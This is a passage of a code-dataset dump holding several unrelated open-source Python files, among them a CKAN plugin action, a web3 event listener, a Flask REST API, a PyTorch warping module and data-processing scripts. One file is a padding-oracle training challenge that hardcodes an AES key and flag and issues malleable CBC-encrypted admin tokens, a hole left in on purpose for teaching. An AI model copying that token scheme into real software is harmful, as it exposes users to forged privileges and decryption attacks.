isUbuntuProConnected()):\n token = typer.prompt(\"Ubuntu PRO token\")\n\n try:\n enableLiveKernel(token)\n except:\n print(\"Token not valid or Live Kernel not supported...\")","repo_name":"devdanetra/sa-csgo","sub_path":"sa_csgo/procedures/enable_realtime_kernel.py","file_name":"enable_realtime_kernel.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"43509854378","text":"import logging\n\nimport ckan.model as ckan_model\nimport ckan.plugins as p\nfrom ckan.logic import ValidationError\n\nfrom ckanext.ytp_recommendation import model\n\nlog = logging.getLogger(__name__)\nc = p.toolkit.c\n\n\ndef create_recommendation(context, data_dict):\n '''Create recommendations only for users who have not given a recommendation for this package'''\n user_id = c.userobj.id if c.userobj else None\n ip_address = p.toolkit.request.environ.get('REMOTE_ADDR')\n package_id = data_dict.get('package_id')\n\n if not package_id:\n raise ValidationError('No package id supplied.')\n if not ip_address:\n raise ValidationError('No ip address supplied.')\n\n package_exists = ckan_model.Session.query(\n ckan_model.Package).filter_by(id=package_id).first() is not None\n if not package_exists:\n raise ValidationError('Package does not exist.')\n\n user_can_recommend = p.toolkit.get_action('user_can_recommend')(context, data_dict)\n if user_can_recommend:\n model.Recommendation.create_package_recommendation(package_id, ip_address, user_id)\n\n return len(model.Recommendation.get_package_recommendations(package_id))\n","repo_name":"vrk-kpa/opendata","sub_path":"ckan/ckanext/ckanext-ytp_recommendation/ckanext/ytp_recommendation/logic/action/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"11"} +{"seq_id":"70851613788","text":"import json\nimport requests\nfrom web3 import Web3\nimport os\nfrom dotenv import load_dotenv\nload_dotenv('.env')\n\n# Replace the following variables with the appropriate values\ncontract_address = \"0xDafdC2Ae8ceEB8c4F70c8010Bcd7aD6853CeF532\"\ninfura_rpc_url = os.getenv(\"REACT_APP_GORELI\")\napi_url = \"https://reputable-swagger-api.onrender.com/reputation_score\"\n\n# Contract ABI as provided in the question\ncontract_compiled_path = './src/abi/WebInterface.json'\nwith open(contract_compiled_path) as file:\n contract_json = json.load(file) # load contract info as JSON\n contract_abi = contract_json['abi']\n\ndef handle_event(event):\n # Get the seller ID from the event data\n seller_id = event['args'].sellerId\n\n # Make the POST request to the API\n post_data = {\n \"sellerId\": seller_id\n }\n try:\n response = requests.post(api_url, json=post_data, timeout=60) # Set a reasonable timeout value\n response.raise_for_status() # Raise an exception if the request was not successful\n if response.status_code == 200:\n print(f\"Successfully sent seller ID {seller_id} to the API.\")\n else:\n print(f\"Failed to send seller ID {seller_id} to the API. Status Code: {response.status_code}\")\n except requests.exceptions.Timeout:\n print(\"Request to API timed out.\")\n except requests.exceptions.RequestException as e:\n print(f\"Error making the API request: {e}\")\n\n\n \n\ndef main():\n # Connect to the Ethereum node using Infura HTTP provider\n web3 = Web3(Web3.HTTPProvider(infura_rpc_url))\n\n # Instantiate the contract\n contract = web3.eth.contract(address=contract_address, abi=contract_abi)\n\n # Subscribe to the ScoreAdded event\n event_filter = contract.events.ScoreAdded.createFilter(fromBlock=\"latest\")\n\n print(\"Listening for ScoreAdded events...\")\n\n while True:\n try:\n for event in event_filter.get_new_entries():\n print(event['args'].sellerId)\n handle_event(event)\n except KeyboardInterrupt:\n print(\"Stopped listening.\")\n break\n except Exception as e:\n print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"metagov/Reputable-Contracts","sub_path":"PostReputation.py","file_name":"PostReputation.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8092808652","text":"def logger(f):\n def logering(*args, **kwargs):\n a = f.__name__\n if len(kwargs) == 0:\n print(a + \" called with args: \" + str(*args) + \" and kwargs: \" + str(kwargs))\n else:\n c = []\n for key, item in kwargs.items():\n c.append(\"\".join(f\"{key}='{item}'\"))\n b = \",\".join(c)\n print(a + \" called with args: \" + str(*args) + \" and kwargs: \" + b)\n return f(*args, **kwargs)\n return logering\n\n\n@logger\ndef test_some1(a):\n return a\n\n\n@logger\ndef test_some2(a, b, c):\n return a\n\n\nprint(test_some1(1)) # test_some1 called with args: 1 and kwargs: {}\n\nprint(test_some2(2, b='y', c='e')) # test_some2 called with args: 2 and kwargs: b='y',c='e'\n","repo_name":"Mein-herz-brennt/course","sub_path":"dz_for_one_man.py","file_name":"dz_for_one_man.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24817722160","text":"import sys\nfrom collections import deque\n\ninput = sys.stdin.readline\nR , C = map(int,input().split())\n\nMap = []\n\nfor i in range(R):\n Map.append(list(input().replace(\"\\n\",\"\")))\n# r ,c , path , length\nqueue = [[0,0,[Map[0][0]]]]\nqueue = deque(queue)\n\nmove = [[0,1],[0,-1],[1,0],[-1,0]]\nanswer = 0\n\ndef dfs(r,c,path):\n global answer\n if answer < len(path):\n answer = len(path)\n #print(r,c,path)\n\n for i in move:\n n_r = r + i[0]\n n_c = c + i[1]\n if n_r >= R or n_r < 0 or n_c >= C or n_c < 0 :\n continue\n if Map[n_r][n_c] not in path:\n path.add(Map[n_r][n_c])\n dfs(n_r,n_c,path)\n path.remove(Map[n_r][n_c])\n else:\n pass\n\n\ndfs(0,0,set([Map[0][0]]))\nprint(answer)\n","repo_name":"jwr0218/Algorithm-","sub_path":"SW1차 전주/1987.py","file_name":"1987.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23246323787","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nBR = []\nSPE = []\nBR_pot = []\nPot = []\nBR_caltech = []\nPot_caltech = []\n\nwith open(\"SPE_W_data.txt\", \"r\") as my_file:\n for line in my_file:\n words = line.split()\n BR.append(float(words[0]))\n SPE.append((float(words[1]) + 76.0607630898) * 219474.6)\nwith open(\"BR_pot_cut.txt\", 'r') as f:\n for line1 in f:\n num = line1.split()\n BR_pot.append(float(num[0]))\n Pot.append(float(num[1]))\nwith open(\"caltech_data.txt\", 'r') as f2:\n for line2 in f2:\n num2 = line2.split()\n BR_caltech.append(float(num2[0])-0.19706045305)\n Pot_caltech.append(float(num2[1]))\n\nplt.plot(BR, SPE, 'bo', label= \"MP2/aug-cc-pVTZ\")\nplt.plot(BR_pot, Pot, 'g-', label= \"Potential\")\nplt.plot(BR_caltech, Pot_caltech, 'r-', label= \"Caltech_modified\")\nplt.legend(loc = \"upper right\")\nplt.xlabel(\"R (Angstroms)\")\nplt.ylabel(\"Potential Energy (cm-1)\")\nplt.title(\"Single Point Energy Calc for Water\")\nplt.ylim(top=30000)\nplt.xlim(left=0.7)\nplt.savefig(\"SPE_Water_new1.png\")\nplt.show()\nplt.close()","repo_name":"finneyjm/Whatever_you_wanna_call_it","sub_path":"Potential_Graph.py","file_name":"Potential_Graph.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37400667912","text":"from flask import Flask, jsonify, abort, make_response\nfrom flask_restful import Api, Resource, reqparse, fields, marshal\nfrom flask_httpauth import HTTPBasicAuth\nimport json\nimport jsonpickle\n\napp = Flask(__name__, static_url_path=\"\")\napi = Api(app)\n\n\nclass Tarefas:\n\tdef __init__(self, nome, nivel):\n\t\tself.nome = nome\n\t\tself.nivel = nivel\n\nt1 = Tarefas(\"limpar\", 1)\nt2 = Tarefas(\"cozinhar\", 2)\nt3 = Tarefas(\"brincar\", 0)\n\ntarefas_dict = {\n\t0: t1,\n\t1: t2\n\n}\n\n\ndef addToDict(tarefa):\n\tkey = 0\n\twhile(1):\n\t\tif key in tarefas_dict:\n\t\t\tkey +=1\n\t\telse:\n\t\t\ttarefas_dict[key] = tarefa\n\t\t\tbreak\n\treturn\n\n\ndef DictOFObjectsToJSON(tarefas):\n\tnew_dict = {}\n\tfor key in tarefas:\n\t\ttarefa = tarefas[key].__dict__\n\t\tnew_dict[key] = tarefa\n\treturn new_dict\n\n\nclass TarefaListAPI(Resource):\n\n\tdef __init__(self):\n\t\tself.reqparse = reqparse.RequestParser()\n\t\tself.reqparse.add_argument('nome', type=str, required=True,\n\t\t\t\t\t\t\t\t help='Nome da tarefa nao definido',\n\t\t\t\t\t\t\t\t location='json')\n\t\tself.reqparse.add_argument('nivel', type=str, required=True, \n\t\t\t\t\t\t\t\t\thelp='Nivel da tarefa nao definido',\n\t\t\t\t\t\t\t\t location='json')\n\t\tsuper(TarefaListAPI, self).__init__()\n\n\tdef get(self):\n\t\tresponse_dict = DictOFObjectsToJSON(tarefas_dict)\n\t\treturn {'tasks': response_dict}, 200\n\n\tdef post(self):\n\t\targs = self.reqparse.parse_args()\n\t\ttarefa = Tarefas(args['nome'], args['nivel'])\n\t\taddToDict(tarefa)\n\t\tresponse_dict = DictOFObjectsToJSON(tarefas_dict)\n\t\treturn {'tasks': response_dict}, 200\n\n\nclass TarefaAPI(Resource):\n\n\tdef __init__(self):\n\t\tself.reqparse = reqparse.RequestParser()\n\t\tself.reqparse.add_argument('nome', type=str, required=False,\n\t\t\t\t\t\t\t\t help='Nome da tarefa nao definido',\n\t\t\t\t\t\t\t\t location='json')\n\t\tself.reqparse.add_argument('nivel', type=str, required=False, \n\t\t\t\t\t\t\t\t\thelp='Nivel da tarefa nao definido',\n\t\t\t\t\t\t\t\t location='json')\n\t\tsuper(TarefaAPI, self).__init__()\n\n\tdef get(self, tarefa_id):\n\t\tif tarefa_id not in tarefas_dict:\n\t\t\tprint(\"ERRO\")\n\t\t\tabort(404)\n\t\ttarefa = tarefas_dict[tarefa_id]\n\n\t\treturn {'task': vars(tarefa)}\n\n\tdef put(self, tarefa_id):\n\t\tif tarefa_id not in tarefas_dict:\n\t\t\tabort(404)\n\t\ttarefa = tarefas_dict[tarefa_id]\n\t\targs = self.reqparse.parse_args()\n\t\tfor k, v in args.items():\n\t\t\tif v is not None:\n\t\t\t\ttarefas_dict[tarefa_id].k = v\n\t\tresponse_dict = DictOFObjectsToJSON(tarefas_dict)\n\t\treturn {'tasks': response_dict}, 200\n\n\tdef delete(self, tarefa_id):\n\t\tif tarefa_id not in tarefas_dict:\n\t\t\tabort(404)\n\t\tdel tarefas_dict[tarefa_id]\n\t\tresponse_dict = DictOFObjectsToJSON(tarefas_dict)\n\t\treturn {'tasks': response_dict}, 200\n\nclass HealthCheck(Resource):\n\n\tdef __init__(self):\n\t\tsuper(HealthCheck, self).__init__()\n\n\tdef get(self):\n\t\treturn {}, 200\n\napi.add_resource(TarefaListAPI, '/Tarefa', endpoint='tasks')\napi.add_resource(TarefaAPI, '/Tarefa/', endpoint='task')\napi.add_resource(HealthCheck, '/healthcheck', endpoint='healthcheck')\n\nif __name__ == '__main__':\n\tapp.run(debug=True, host='0.0.0.0')\n\n#tarefa = tarefas_dict[key]\n#thisdict[\"color\"] = \"red\"","repo_name":"elijose55/EliCloud","sub_path":"misc/aps1.py","file_name":"aps1.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11617994476","text":"from cmk.base.check_api import LegacyCheckDefinition\nfrom cmk.base.config import check_info\nfrom cmk.base.plugins.agent_based.agent_based_api.v1 import SNMPTree\nfrom cmk.base.plugins.agent_based.utils.decru import DETECT_DECRU\n\n\ndef inventory_decru_cpu(info):\n if len(info) == 5:\n return [(None, None)]\n return []\n\n\ndef check_decru_cpu(item, _no_params, info):\n user, nice, system, interrupt, idle = (float(x[0]) / 10.0 for x in info)\n user += nice\n\n perfdata = [\n (\"user\", \"%.3f\" % user),\n (\"system\", \"%.3f\" % system),\n (\"interrupt\", \"%.3f\" % interrupt),\n ]\n\n return (\n 0,\n f\"user {user:.0f}%, sys {system:.0f}%, interrupt {interrupt:.0f}%, idle {idle:.0f}%\",\n perfdata,\n )\n\n\ncheck_info[\"decru_cpu\"] = LegacyCheckDefinition(\n detect=DETECT_DECRU,\n fetch=SNMPTree(\n base=\".1.3.6.1.4.1.12962.1.1\",\n oids=[\"8\"],\n ),\n service_name=\"CPU utilization\",\n discovery_function=inventory_decru_cpu,\n check_function=check_decru_cpu,\n)\n","repo_name":"Checkmk/checkmk","sub_path":"cmk/base/legacy_checks/decru_cpu.py","file_name":"decru_cpu.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":1176,"dataset":"github-code","pt":"11"} +{"seq_id":"9889112549","text":"#!/usr/bin/env python3\nfrom Crypto.Cipher import AES\nfrom Crypto import Random\nfrom flask import request, render_template, redirect, url_for, abort\nfrom . utils import *\n\n\nKEY = 'ayyyyyyy lmaoooo'\nFLAG1 = 'WHAT ARE WE HAVING FOR LUNCH?'\nTOKEN = 'username={}&admin=0&flag1='+FLAG1\n\ndef main_page():\n return render_template('single_input.html', title='Padding oracle', msg='Please sign up:', input_msg='Username', input='username')\n\n\ndef verify_cpt(raw_cpt):\n if raw_cpt is None:\n return main_page()\n\n else:\n\n msg = raw_to_ascii(aes_cbc_decrypt(KEY, raw_cpt))\n \n try:\n\n d = {parameter.split('=')[0]:parameter.split('=')[1] for parameter in msg.split('&')}\n flag = FLAG1 if 'admin' in d and d['admin'] == '1' else ''\n return render_template('generic.html', title='Padding oracle', msg=\"Hello {}!\".format(d['username']), flag=flag, flag_error=\"Only admins can see the flag, but you're not an admin are you? (admin=0)\")\n\n except Exception:\n return main_page()\n\ndef level1():\n\n if request.method == 'POST':\n\n username = request.form['username']\n cpt = raw_to_hex(aes_cbc_encrypt(KEY, TOKEN.format(username)))\n return redirect(url_for('padding_oracle_level1', token=cpt))\n\n elif request.method == 'GET':\n\n cpt = request.args.get('token', None)\n cpt = hex_to_raw(cpt) if cpt else None\n return verify_cpt(cpt)\n\ndef level2():\n\n if request.method == 'POST':\n\n username = request.form['username']\n cpt = raw_to_b64(aes_cbc_encrypt(KEY, TOKEN.format(username)))\n return redirect(url_for('padding_oracle_level2', token=cpt))\n\n elif request.method == 'GET':\n\n cpt = request.args.get('token', None)\n cpt = b64_to_raw(cpt) if cpt else None\n return verify_cpt(cpt)\n","repo_name":"vergl4s/crypto-cheese-board","sub_path":"challenges/padding_oracles.py","file_name":"padding_oracles.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"26690922589","text":"import os\nimport json\nfrom tqdm import tqdm\nimport random\n\ndataset_path = 'd:/faceforensics_dataset'\n\n# Paths to real videos\nreal_folder = os.path.join(dataset_path, 'original_sequences', 'c23', 'videos')\n# Paths to fake videos (multiple folders of fakes)\nfake_folders = os.path.join(dataset_path, 'manipulated_sequences')\nfake_folders = [os.path.join(fake_folders, x) for x in os.listdir(fake_folders)]\nfake_folders = [os.path.join(x, 'c23', 'videos') for x in fake_folders]\n\n# # Fix misalignment in status as being multiple_faces\n# for folder_path in fake_folders:\n# \treal_bb_folder = os.path.join(real_folder, 'bounding_boxes')\n# \tfake_bb_folder = os.path.join(folder_path, 'bounding_boxes')\n\n# \tmetadata_filename = os.path.join(folder_path, \"metadata.json\")\n# \tmetadata = json.load(open(metadata_filename))\n\n# \tfor k, v in metadata.items():\n# \t\tfake_video = k\n# \t\tfake_bb_path = os.path.join(fake_bb_folder, os.path.splitext(fake_video)[0]) + '.json'\n# \t\tfake_bb = json.load(open(fake_bb_path))\n# \t\treal_video = v['original']\n# \t\treal_bb_path = os.path.join(real_bb_folder, os.path.splitext(real_video)[0]) + '.json'\n# \t\treal_bb = json.load(open(real_bb_path))\n\n# \t\tfake_bb['multiple_faces'] = real_bb['multiple_faces']\n# \t\tos.remove(fake_bb_path)\n# \t\tjson.dump(fake_bb, open(fake_bb_path, 'w+'))\n\n\n# Splits for train, test, val for youtube scraped part of faceforensics\ntrain = json.load(open('scripts/ff_splits/train.json'))\ntest = json.load(open('scripts/ff_splits/test.json'))\nval = json.load(open('scripts/ff_splits/val.json'))\nflatten = lambda l: [item for sublist in l for item in sublist]\ntrain = flatten(train)\ntest = flatten(test)\nval = flatten(val)\n\n# Randomly splitting google part of faceforensics\nreal_videos = [x for x in os.listdir(real_folder) if x not in \n\t\t[\"metadata.json\", \"multiple_faces\", \"bad_samples\", \"bounding_boxes\", \"images\"]]\ngoogle_dfdc_originals = [os.path.splitext(v)[0] for v in real_videos if os.path.splitext(v)[0] not in (train + test + val)]\nrandom.shuffle(google_dfdc_originals)\nsplit_1 = int(len(google_dfdc_originals) * 0.14)\nsplit_2 = 2 * split_1\ngoogle_dfdc_originals_val = google_dfdc_originals[:split_1]\ngoogle_dfdc_originals_test = google_dfdc_originals[split_1:split_2]\ngoogle_dfdc_originals_train = google_dfdc_originals[split_2:]\n\n# Go through real videos\nreal_metadata_filename = os.path.join(real_folder, \"metadata.json\")\nif os.path.isfile(real_metadata_filename):\n\tos.remove(real_metadata_filename)\n\nmetadata = {}\nfor video in tqdm(real_videos, desc = real_folder):\n\tv, _ = os.path.splitext(video)\n\tif v in train:\n\t\tsplit = 'train'\n\telif v in test:\n\t\tsplit = 'test'\n\telif v in val:\n\t\tsplit = 'val'\n\telif v in google_dfdc_originals:\n\t\tif v in google_dfdc_originals_train:\n\t\t\tsplit = 'train'\n\t\telif v in google_dfdc_originals_test:\n\t\t\tsplit = 'test'\n\t\telif v in google_dfdc_originals_val:\n\t\t\tsplit = 'val'\n\telse:\n\t\tsplit = 'train'\n\tmetadata[video] = {}\n\tmetadata[video]['split'] = split\n\nmetadata_file = open(real_metadata_filename, \"w+\")\njson.dump(metadata, metadata_file)\nmetadata_file.close()\n\noriginals_metadata = metadata\n\n\n# Go through the fake folders\nfor folder_path in fake_folders:\n\tmetadata_filename = os.path.join(folder_path, \"metadata.json\")\n\tif os.path.isfile(metadata_filename):\n\t\tos.remove(metadata_filename)\n\n\tfake_videos = [x for x in os.listdir(folder_path) if x not in \n\t\t[\"metadata.json\", \"multiple_faces\", \"bad_samples\", \"bounding_boxes\", \"images\"]]\n\tmetadata = {}\n\t\n\t# DeepFakeDetection folder has a different naming scheme\n\tif 'DeepFakeDetection' in folder_path:\n\t\tfor video in tqdm(fake_videos, desc = folder_path):\n\t\t\tv, _ = os.path.splitext(video)\n\t\t\toriginal_video = v[:2] + v[5:-10] + '.mp4'\n\t\t\tmetadata[video] = {}\n\t\t\tmetadata[video]['split'] = originals_metadata[original_video]['split']\n\t\t\tmetadata[video]['original'] = original_video\n\t\n\t# The other fake video folders\n\telse:\n\t\tfor video in tqdm(fake_videos, desc = folder_path):\n\t\t\tv, _ = os.path.splitext(video)\n\t\t\toriginal_video = v.split('_')[0]\n\t\t\t# if original_video in train:\n\t\t\t# \tsplit = 'train'\n\t\t\t# elif original_video in test:\n\t\t\t# \tsplit = 'test'\n\t\t\t# elif original_video in val:\n\t\t\t# \tsplit = 'val'\n\t\t\t# else:\n\t\t\t# \traise Exception('File not in ff_splits: ' + original_video)\n\t\t\toriginal_video += '.mp4'\n\t\t\tmetadata[video] = {}\n\t\t\t# metadata[video]['split'] = split\n\t\t\tmetadata[video]['split'] = originals_metadata[original_video]['split']\n\t\t\tmetadata[video]['original'] = original_video\n\n\tmetadata_file = open(metadata_filename, \"w+\")\n\tjson.dump(metadata, metadata_file)\n\tmetadata_file.close()","repo_name":"stygio/DeepFake-Detection","sub_path":"scripts/faceforensics_metadata.py","file_name":"faceforensics_metadata.py","file_ext":"py","file_size_in_byte":4545,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"22860704212","text":"\"\"\"\nСоколов Лев Максимович. КИ21-17/1Б.\n\nМодуль с некоторыми утилитами\n\"\"\"\n\nimport os\n\n\ndef get_data_path() -> str:\n \"\"\"\n Функция нахождения папки с датой, поддерживающая запуск из любой папки проекта\n\n :return: путь до папки с датой\n \"\"\"\n cur_dir = os.getcwd()\n while True:\n if \"data\" in os.listdir(cur_dir):\n break\n cur_dir = '\\\\'.join(cur_dir.split(\"\\\\\")[:-1])\n\n return os.path.join(cur_dir, 'data')\n\n\ndef get_track_path() -> str:\n \"\"\"\n Функция нахождения папки с песнями, поддерживающая запуск из любой папки проекта\n\n :return: путь дол папки с песнями\n \"\"\"\n\n cur_dir = os.getcwd()\n while True:\n if \"tracks\" in os.listdir(cur_dir):\n break\n cur_dir = '\\\\'.join(cur_dir.split(\"\\\\\")[:-1])\n return os.path.join(cur_dir, \"tracks\")\n\n\ndef duration_from_seconds(seconds: float) -> str:\n \"\"\"\n Функция перевода секунд в читаемый для человека формат\n\n :param seconds: кол-во секунд\n :return: строка типа hh:mm:ss\n \"\"\"\n minutes, seconds = divmod(seconds, 60)\n hours, minutes = divmod(minutes, 60)\n\n if hours != 0:\n return f\"{int(hours):02}:{int(minutes):02}:{int(seconds):02}\"\n return f\"{int(minutes):02}:{int(seconds):02}\"\n\n\ndef duration_to_sec(milliseconds: int) -> int:\n \"\"\"\n Функция перевода миллисекунд в секунды\n\n :param milliseconds: кол-во мс\n :return: секунды\n \"\"\"\n return milliseconds // 1000\n\n\nif __name__ == '__main__':\n print(get_data_path())\n","repo_name":"OverLeo007/aads_complete","sub_path":"algoLab2/player_back/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35674051060","text":"\"\"\"\nShopping bag contexts\n\"\"\"\nfrom decimal import Decimal\nfrom django.conf import settings\nfrom django.shortcuts import get_object_or_404\nfrom products.models import Product\n\n\ndef bag_contents(request):\n \"\"\"\n Contents of shopping bag and delivery charge calculation\n \"\"\"\n bag_items = []\n total = 0\n product_count = 0\n shopping_bag = request.session.get('shopping_bag', {})\n\n for item_id, item_data in shopping_bag.items():\n if isinstance(item_data, int):\n product = get_object_or_404(Product, pk=item_id)\n total += item_data * product.price\n product_count += item_data\n bag_items.append({\n 'item_id': item_id,\n 'quantity': item_data,\n 'product': product,\n })\n else:\n product = get_object_or_404(Product, pk=item_id)\n for size, quantity in item_data['items_by_size'].items():\n total += quantity * product.price\n product_count += quantity\n bag_items.append({\n 'item_id': item_id,\n 'quantity': quantity,\n 'product': product,\n 'size': size,\n })\n\n if total < settings.FREE_SHIPPING_THRESHOLD:\n shipping = total * Decimal(settings.STANDARD_SHIPPING_PERCENTAGE / 100)\n free_shipping_delta = settings.FREE_SHIPPING_THRESHOLD - total\n else:\n shipping = 0\n free_shipping_delta = 0\n\n grand_total = shipping + total\n\n context = {\n 'bag_items': bag_items,\n 'total': total,\n 'product_count': product_count,\n 'shipping': shipping,\n 'free_shipping_delta': free_shipping_delta,\n 'free_shipping_threshold': settings.FREE_SHIPPING_THRESHOLD,\n 'grand_total': grand_total,\n }\n return context\n","repo_name":"Irishbecky91/TheWaggingTailor","sub_path":"shopping_bag/contexts.py","file_name":"contexts.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"5177709458","text":"import numpy as np\nimport torch\nimport torch.nn as nn\n\nclass BackwardWarp(nn.Module):\n def __init__(self):\n super(BackwardWarp, self).__init__()\n #self.device = device\n # end\n\n def forward(self, tensorInput, tensorFlow):\n if hasattr(self, 'tensorGrid') == False or self.tensorGrid.size(0) != tensorFlow.size(0) or self.tensorGrid.size(2) != tensorFlow.size(2) or self.tensorGrid.size(3) != tensorFlow.size(3):\n tensorHorizontal = torch.linspace(-1.0, 1.0, tensorFlow.size(3)).view(1, 1, 1, tensorFlow.size(3)).expand(tensorFlow.size(0), -1, tensorFlow.size(2), -1)\n tensorVertical = torch.linspace(-1.0, 1.0, tensorFlow.size(2)).view(1, 1, tensorFlow.size(2), 1).expand(tensorFlow.size(0), -1, -1, tensorFlow.size(3))\n\n self.tensorGrid = torch.cat([ tensorHorizontal, tensorVertical ], 1)\n if torch.cuda.is_available():\n self.tensorGrid = self.tensorGrid.cuda()\n # end\n\n tensorFlow = torch.cat([ tensorFlow[:, 0:1, :, :] / ((tensorInput.size(3) - 1.0) / 2.0),\n tensorFlow[:, 1:2, :, :] / ((tensorInput.size(2) - 1.0) / 2.0)], 1)\n out = torch.nn.functional.grid_sample(input=tensorInput, grid=(self.tensorGrid + tensorFlow).permute(0, 2, 3, 1),\n mode='bilinear', padding_mode='border')\n return out\n # end\n\nclass BackwardWarpMV(nn.Module):\n def __init__(self):\n super(BackwardWarpMV, self).__init__()\n self.warper = BackwardWarp()\n\n def forward(self, tensorInput, tensorFlow):\n num_channels = tensorFlow.size(1)//2\n U = tensorFlow[:,:num_channels]\n V = tensorFlow[:,num_channels:]\n out = []\n for j in range(num_channels):\n #uv = tensorFlow[:,[j,j+num_channels],:,:]\n uv = torch.cat([U[:,j:j+1], V[:,j:j+1]], 1)\n out_j = self.warper(tensorInput[:,j:j+1], uv)\n out.append(out_j)\n\n return torch.cat(out, 1)\n \n","repo_name":"tjvandal/geostationary-superslomo","sub_path":"networks/warper.py","file_name":"warper.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"11"} +{"seq_id":"30578432571","text":"\"\"\"Re-run the evaluation task.\"\"\"\nimport json\nimport os\nimport shutil\nimport uuid\nfrom datetime import datetime\n\nimport click\n\nfrom langeval.cli.application import Application\nfrom langeval.cli.constant import TaskOutputVars\nfrom langeval.cli.run.run import run_task\nfrom langeval.tasks import EvalTask, Result\n\n\n@click.command(short_help=\"Re-run evaluation task.\")\n@click.argument(\"task_dir\", required=True, type=click.Path(exists=True))\n@click.option(\n \"--output\",\n \"-o\",\n \"output\",\n help=\"Output directory for the evaluation files and results\",\n type=click.Path(exists=False),\n)\n@click.pass_obj\ndef rerun(app: Application, task_dir, output):\n \"\"\"Re-run evaluation task.\n\n TASK_DIR: The directory of the evaluation task.\n \"\"\"\n # 1. 创建 output dir\n task_id = f\"{datetime.now().strftime('%y%m%d%H%M')}-{uuid.uuid4().hex[:4]}\"\n if not output:\n output = f\"output/{task_id}\"\n app.display_info(f\"Output dir: {output}\")\n if not os.path.exists(output):\n os.makedirs(output)\n app.display_info(f\"Output dir created: {output}\")\n else:\n app.abort(f\"Output dir {output} exists, exit.\")\n\n # 2. 复制 task_dir 到新的目录\n shutil.copytree(task_dir, output, dirs_exist_ok=True)\n\n # 3. Load task\n task_file = os.path.join(output, TaskOutputVars.TaskMeta)\n status_file = os.path.join(output, TaskOutputVars.TaskStatus)\n\n with open(task_file) as f:\n task_file_content = f.read()\n task = EvalTask.from_yaml(task_file_content, dataset_dir=output)\n with open(status_file) as f:\n # {\"uuid\": \"2311021530-5c69\", \"status\": \"FINISHED\", \"progress\": \"1/0/1\", \"finished_time\": 1698910215.125846}\n status = json.loads(f.read())\n with open(os.path.join(output, TaskOutputVars.TaskResult)) as f:\n results = [Result.from_json(line) for line in f.readlines()]\n\n # 4. Run task\n run_task(app, output, task_id, task,\n sample=status[\"sample\"], sample_seed=status[\"sample_seed\"],\n results=results)\n","repo_name":"ninehills/langeval","sub_path":"src/langeval/cli/rerun/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"11"} +{"seq_id":"10236060681","text":"import csv\r\nimport pandas as pd\r\n\r\n#esse código pega o CSV e transforma em DataFrame\r\n#Eu peguei para exemplo os primeiros 50 csvs gerados no extrairdados.pv\r\n#coloquei delimitadores entre as músicas de um artista e outro\r\n#a primeira linha do full.csv contém a quantidade de artistas\r\n#- artista; Example / aqui é onde começa o artista e mais uma linha do dataframe\r\n#- fimartista; fim da lista de músicas do artista, que será colocada na outra coluna do dataframe\r\n# cada linha tem duas colunas, a coluna do nome do artista e a outra a coluna da lista de músicas\r\n\r\nmain_arch = 'full.csv'\r\n# Criar um DataFrame vazio para artistas\r\ndf_artistas = pd.DataFrame(columns=['nome', 'musicas'])\r\n\r\nn_artist = []\r\nn_musicas = []\r\nquant = 0\r\nquant_p = 0\r\n\r\nwith open(main_arch, 'r') as arquivo_csv:\r\n leitor_csv = csv.reader(arquivo_csv)\r\n primeira_linha = next(leitor_csv)\r\n quant = int(primeira_linha[0])\r\n print(quant)\r\n\r\nfor i in range(quant):\r\n musicas = []\r\n n_musicas.append(musicas)\r\n\r\n# Abre o arquivo CSV em modo de leitura\r\nwith open(main_arch, 'r', encoding='utf-8') as arquivo_csv:\r\n # Cria um objeto leitor CSV\r\n leitor_csv = csv.reader(arquivo_csv)\r\n next(leitor_csv)\r\n # Itera sobre as linhas do arquivo CSV\r\n for linha in leitor_csv:\r\n # Processa cada linha como necessário\r\n nlinha = str(linha)\r\n nlinha = nlinha.strip('[\\'').strip('\\']')\r\n if '- artista; ' in nlinha:\r\n a = nlinha.split(';')\r\n artist = a[1]\r\n artist = artist.strip()\r\n n_artist.append(artist)\r\n elif '- fimartista;' in nlinha:\r\n if df_artistas.empty:\r\n df_artistas.loc[0] = [n_artist[quant_p], n_musicas[quant_p]]\r\n else:\r\n df_artistas.loc[df_artistas.index.max() + 1] = [n_artist[quant_p], n_musicas[quant_p]]\r\n quant_p += 1\r\n else:\r\n blist = nlinha.split(';\";\";')\r\n nan = 0\r\n n_song_n = ''\r\n n_song_art = []\r\n n_song_id = ''\r\n for x in blist:\r\n if nan==0:\r\n n_song_n = x\r\n elif nan==1:\r\n n_song_artx = x\r\n n_song_artx = n_song_artx.split(';')\r\n for i in 